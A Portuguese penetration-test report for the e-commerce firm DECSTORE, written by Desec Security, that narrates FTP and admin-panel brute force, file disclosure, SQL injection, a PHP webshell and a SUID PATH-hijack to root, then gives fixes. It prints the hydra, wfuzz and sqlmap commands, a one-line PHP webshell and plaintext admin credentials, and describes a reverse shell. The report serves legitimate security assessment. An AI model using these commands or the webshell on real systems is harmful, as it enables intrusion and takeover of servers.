2
Controle de Versões:
DATA VERSÃO AUTOR ALTERAÇÕES
10/09/2021 1.0 Ricardo Longatto Versão Inicial
20/09/2021 1.1 Ricardo Longatto Versão Final
CONFIDENCIAL
Este documento contém informações proprietárias e confidenciais e todos os dados
encontrados durante os testes e presentes neste documento foram tratatos de forma a garantir
a privacidade e o sigilo dos mesmos. A Duplicação, redistribuição ou uso no todo ou em parte
de qualquer forma requer o consentimento da DECSTORE.
3
Aviso Legal
O Pentest foi realizado durante o período de 09/09/2021 até 20/09/2021. As constatações e
recomendações refletem as informações coletadas durante a avaliação e estado do ambiente
naquele momento e não quaisquer alterações realizadas posteriormente fora deste período.
O trabalho desenvolvido pela DESEC SECURITY NÃO tem como objetivo corrigir as possíveis
vulnerabilidades, nem proteger a CONTRATANTE contra ataques internos e externos, nosso
objetivo é fazer um levantamento dos riscos e recomendar formas para minimiza-los.
As recomendações sugeridas neste relatório devem ser testadas e validadas pela equipe
técnica da empresa CONTRATANTE antes de serem implementadas no ambiente em
produção. A DESEC SECURITY não se responsabiliza por essa implementação e possíveis
impactos que possam vir a ocorrer em outras aplicações ou serviços.
Informações de Contato
NOME CARGO INFORMAÇÕES
DECSTORE
Telefone: (11) 1111-2222
José dos Santos CISO
Email: jsantos@[Link]
4
Sumário Executivo
A Desec Security avaliou a postura de segurança da DECSTORE através de um Pentest WEB
do tipo BLACK BOX pelo período de 09 de setembro de 2021 até 20 de setembro de 2021.
Os resultados das avaliações efetuadas no ambiente a partir da internet demonstram que a
empresa possui sérios riscos cibernéticos com a presença de vulnerabilidades de nível
CRÍTICO que comprometem a integridade, disponibilidade e o sigilo de informações
sensíveis.
Foram identificados 06 vulnerabilidades, sendo 02 delas classificadas como risco médio e 04
5
Conclusão
A realização deste teste de segurança permitiu identificar vulnerabilidades e problemas de
segurança que poderiam causar um impacto negativo aos negócios do cliente. Com isso
podemos concluir que o teste atingiu o objetivo proposto.
Podemos concluir que a avaliação de segurança como o teste de invasão apresentado neste
relatório é fundamental para identificar vulnerabilidades, testar e melhorar controles e
mecanismos de defesa afim de garantir um bom grau de segurança da informação em seu
ambiente digital.
A DECSTORE mantém uma postura proativa e ao ter ciência dos problemas identificados já
iniciou o processo de correção, onde 02 vulnerabilidades já foram devidamente corrigidas
e validadas pela equipe técnica da Desec Security e 02 estão em processo de correção.
6
Introdução
A Desec Security foi contratada para conduzir uma avaliação de segurança (Penetration
Testing) no ambiente digital da DECSTORE.
A avaliação foi conduzida de maneira a simular um ciberataque à partir da internet com o
objetivo de determinar o impacto que possíveis vulnerabilidades de segurança possam ter no
que diz respeito à intergridade, disponibilidade e confidencialidade das informações da
empresa contratante.
Os testes foram realizados entre os dias 09 de setembro de 2021 e 20 de setembro de 2021 e
este documento contém todos os resultados.
O método utilizado para a execução do serviço proposto segue rigorosamente as melhores
práticas de mercado, garantindo a adequação às normas internacionais de segurança da
informação, e os relatórios gerados apontam evidências quanto à segurança do ambiente
definido no escopo.
Escopo
TIPO DE AVALIAÇÃO DETALHES
Pentest WEB - Black Box URL: [Link]
7
Metodologia
Para execução destes trabalhos, a Desec Security adotou a metodologia própria (M.A.M)
mesclada com padrões existentes e solidamente reconhecidos, tais como OWASP Top Ten
nas quais foram executados nas seguintes fases:
MAPEAMENTO
A fase de mapeamento tem como objetivo identificar a superfície de ataque da aplicação,
entendendo a tecnologia, comportamento e sistemas utilizados.
ANÁLISE DE SEGURANÇA
8
Narrativa da Análise Técnica
Os testes iniciaram no dia 09/09/2021 de posse apenas do endereço do domínio informado
pelo cliente.
Escopo: [Link]
Realizamos o mapeamento do host com objetivo de identificar a superfície de ataque
Nesta fase foi possível identificar um servidor FTP e o painel administrativo de gerenciamento
do ecommerce expostos para a internet
9
[Link]
Painel de gerenciamento do ecommerce
Realizamos alguns testes para garantir que as interfaces identificadas possuem controles
contra ataques de força bruta e identificamos tanto o serviço de FTP como o painel
administrativo são vulneráveis a ataques de força bruta.
BRUTE FORCE: FTP
A vulnerabilidade apresenta um risco médio
hydra -v -t10 -l decstore -P senhas [Link] -s 2121
10
BRUTE FORCE: PAINEL ADMINISTRATIVO WEB
A vulnerabilidade apresenta um risco médio
No exemplo abaixo realizamos mais de 50 requisições de login inválidas para o usuário
decstore utilizando o proxy BurpSuite.
11
Posteriormente iniciamos a fase de mapeamento da aplicação com objetivo de identificar a
superfície de ataque e possíveis pontos de entrada.
Durante o processo de mapeamento da aplicação foi possível descobrir vários arquivos
acessíveis, o arquivo [Link] chamou a atenção.
12
wfuzz -c -z file,lista2 --hl 0 [Link]
LFD: Local File Disclosure / LFI: Local File Inclusion / Source Code Disclosure
A vulnerabilidade apresentaria um risco crítico
Após acessar a url [Link] identificamos
a possibilidade de realizar download de arquivos do servidor e a possibilidade de visualizar o
13
Local File Disclosure / Source Code Disclosure
[Link]
14
BLIND / TIME BASED SQL INJECTION
A vulnerabilidade apresentaria um risco crítico
Durante o processo de mapeamento da aplicação identificamos que o parâmetro prod= é
vulnerável a SQL Injection, no qual permite obter informações e registros do banco de dados.
[Link]
Identificamos a vulnerabilidade manualmente e posteriormente utilizamos a ferramenta sqlmap
para automatizar o processo de exploração.
Comando utilizado:
sqlmap -u "[Link] --current-db
Exemplo SQL Injection:
15
Na base de dados atual deckstore conseguimos identificar as credenciais de acesso ao painel
administrativo.
A senha está armazenada em hash MD5.
PÓS EXPLORAÇÃO: ACESSO AO PAINEL ADMINISTRATIVO
O hash MD5 identificado acima foi fácilmente decifrado pois já estava listado em uma base de
16
Credenciais de Acesso
Usuário Senha
decstore d3c5t0r3
[Link]
Acesso ao painel administrativo
17
Abaixo podemos gerenciar cupons de desconto e promoções de produtos.
18
Com isso, podemos concluir que a vulnerabilidade de LFD apresentada anteriormente
também possuí um problema de autorização pois essa URL só deveria ser acessível
para quem estiver autenticado como administrador.
PÓS EXPLORAÇÃO: ACESSO AO SERVIDOR
Através da vulnerabilidade LFD localizada no download de contratos/nfe foi possível identificar
credenciais de acesso a base de dados.
[Link]
19
Utilizamos essas credenciais para acessar o servidor FTP
Uma vez com acesso ao FTP realizamos o upload de uma webshell e posteriormente
conseguimos acesso remoto ao servidor via reverse shell.
WebShell Code
[Link] <?php system($_GET[‘desec’]);?>
Ao acessar o aquivo enviado conseguimos RCE (Remote Code Execution) no servidor
20
Localizamos um binário em /script/backup com permissão SUIDBIT, através da técnica de
manipulação de variáveis de ambiente tivemos sucesso em obter acesso root no servidor.
O binário vulnerável tinha permissão de suidbit ativa e utilizava o comando cat, criamos então
um cat falso e manipulamos as variáveis de ambiente para forçar o binário a buscar o nosso
cat falso.
Como resultado foi possível obter acesso privilegiado no servidor.
21
Conclusão da Análise Técnica
Conforme definido no escopo, os testes deveriam encerrar com a possibilidade de chegar no
servidor que hospeda a aplicação.
LIMPEZA DE RASTROS
Após a coleta das informações e evidências acima demonstradas, restauramos os sistemas
exatamente conforme encontramos, os usuários criamos para a prova de conceito foram
removidos, assim como, os exploits utilizados durante o ataque foram devidamente excluidos.
22
Vulnerabilidades e Recomendações
HOST [Link]
Descrição LFD | LFI | SOURCE CODE DISCLOSURE
Risco Crítico
A falha permite um atacante obter arquivos sensíveis no servidor e
Impacto
posteriormente descobrir as credenciais de acessos e código fonte.
Sistema [Link]
Referências
Problemas
1) O arquivo [Link] está acessível para usuários desautenticados.
2) O parâmetro file não foi sanitizado/tratado corretamente permitindo manipular os
arquivos para realizar o download.
23
HOST [Link]
Descrição BLIND / TIME BASED SQL INJECTION
Risco Crítico
A vulnerabilidade localizada nos parametros dos produtos permite obter todos
Impacto os registros do banco de dados, incluindo dados de clientes, cadastros,
fornecedores e credenciais de acessos.
Sistema [Link]
[Link]
Referências [Link]
Problemas
1) Os parâmetros não são devidamente tratados permitindo a injeção de código.
2) Não existe um Web Application Firewall
3) A senha é armazenada usando algoritmo fraco (MD5) sem salt.
4) Não existe duplo fator de autenticação
5) Política de senha fraca
24
HOST [Link]
Descrição Serviço FTP vulnerável a ataque de força bruta
Risco Médio
O serviço de FTP está exposto e permite a realização de um ataque de
Impacto
força bruta com objetivo de identificar credenciais válidas.
Sistema [Link]
Referências
Problemas
1) O serviço de FTP não possuí controles para bloquear tentativas de autenticação
inválidas.
2) O serviço de FTP não deveria estar exposto para internet
3) FTP é considerado um serviço inseguro e deveria ser substituído.
Recomendações
25
HOST [Link]
Descrição Painel Web Admin vulnerável a ataque de força bruta
Risco Médio
O painel administrativo permite a realização de um ataque de força bruta
Impacto
com objetivo de identificar credenciais válidas.
Sistema [Link]
Referências
Problemas
1) O painel adm não possuí controles para bloquear tentativas de autenticação inválidas.
2) O painel adm deveria ter múltiplo fator de autenticação (MFA)
Recomendações
26
Outras Recomendações
Recomendamos revisar a politica de senhas e evitar o reuso de senhas, o problema ocorreu
pois obtivemos acesso a senha do DB (que não estava exposto para a internet) no entanto as
mesmas credenciais foram utilizadas para acessar o serviço de FTP.
- Nunca utilizar a mesma senha em mais de um serviço
Recomendamos a implementação de um WAF (Web Application Firewall) e um HIDS (Host
Intrusion Detection System) para minimizar o risco de uma conexão maliciosa além de um
controle maior no tráfego de saída.
O servidor FTP comunica diretamente com os diretórios do site, o ideal seria que a
configuração do FTP fosse restrita e não permitisse realizar upload em locais acessíveis pelo
website.
Recomendamos a realização de um harderning no servidor evitando o uso de binários com
configurações de permissões incorretas e pacotes, serviços e binários desnecessários.
Considerações Finais
A realização deste teste de segurança permitiu identificar vulnerabilidades e problemas de
segurança que poderiam causar um impacto negativo aos negócios do cliente. Com isso